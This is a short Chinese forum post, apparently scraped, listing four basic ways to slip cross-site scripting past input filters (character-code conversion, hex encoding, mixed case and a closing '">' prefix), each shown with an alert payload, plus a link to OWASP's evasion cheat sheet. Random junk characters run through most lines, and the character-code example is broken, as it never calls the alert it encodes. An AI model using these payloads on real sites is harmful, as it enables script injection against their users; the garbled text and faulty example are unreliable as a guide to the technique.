四种超级基础的绕过方法。
8 ~" Y" l9 O% n0 f; ], {) k; B$ c, `, ~1.转换为ASCII码
! D2 ~" n' H2 A' |例子:原脚本为<script>alert(‘I love F4ck’)</script >
! z6 D1 B0 Q" D/ y* B通过转换,变成:
8 ]+ Z' C0 u0 d9 [1 }<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>9 S" \& L& y& z2 v0 S
1 y/ K$ z, x" j9 A) D: i2.转换为HEX(十六进制)" K5 E; n3 `8 A4 Z1 d
例子:原脚本为<script>alert(‘I love F4ck’)</script>/ f! `8 O) `( ~( Q- h+ I2 R# z
通过转换,变成:1 m% r/ P: O; G& k
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e- D, [) }2 a T9 F b) R. p
2 j! `- T R# c, Y' [# `3.转换脚本的大小写
5 o' ?: j- s0 _% ~9 K+ J3 k& c例子:原脚本为<script>alert(‘I love F4ck’)</script>
; s/ w# K0 Y& v转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>1 ?4 K# E9 b. Z" u0 M9 X n( N
, h! \ u7 e9 I8 F: f
4.增加闭合标记”> r7 b* [* I, K' @ P J# Y- q
例子:原脚本为<script>alert(‘I love F4ck’)</script>, `) s" f5 t3 b1 f6 e! e) a
转换为:”><script>alert(‘I love F4ck’)</script>
+ j2 @1 w& r, ?6 ~. `更详细绕过技术请参考此网页
}. }8 ^2 F% |; y) T6 N! a' shttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet' Z( ? I; x( K1 ]( t# E$ X! S
3 B$ T- B; u2 p# O3 |# J; L
转换工具使用的是火狐的 hackbar mozilla addon. |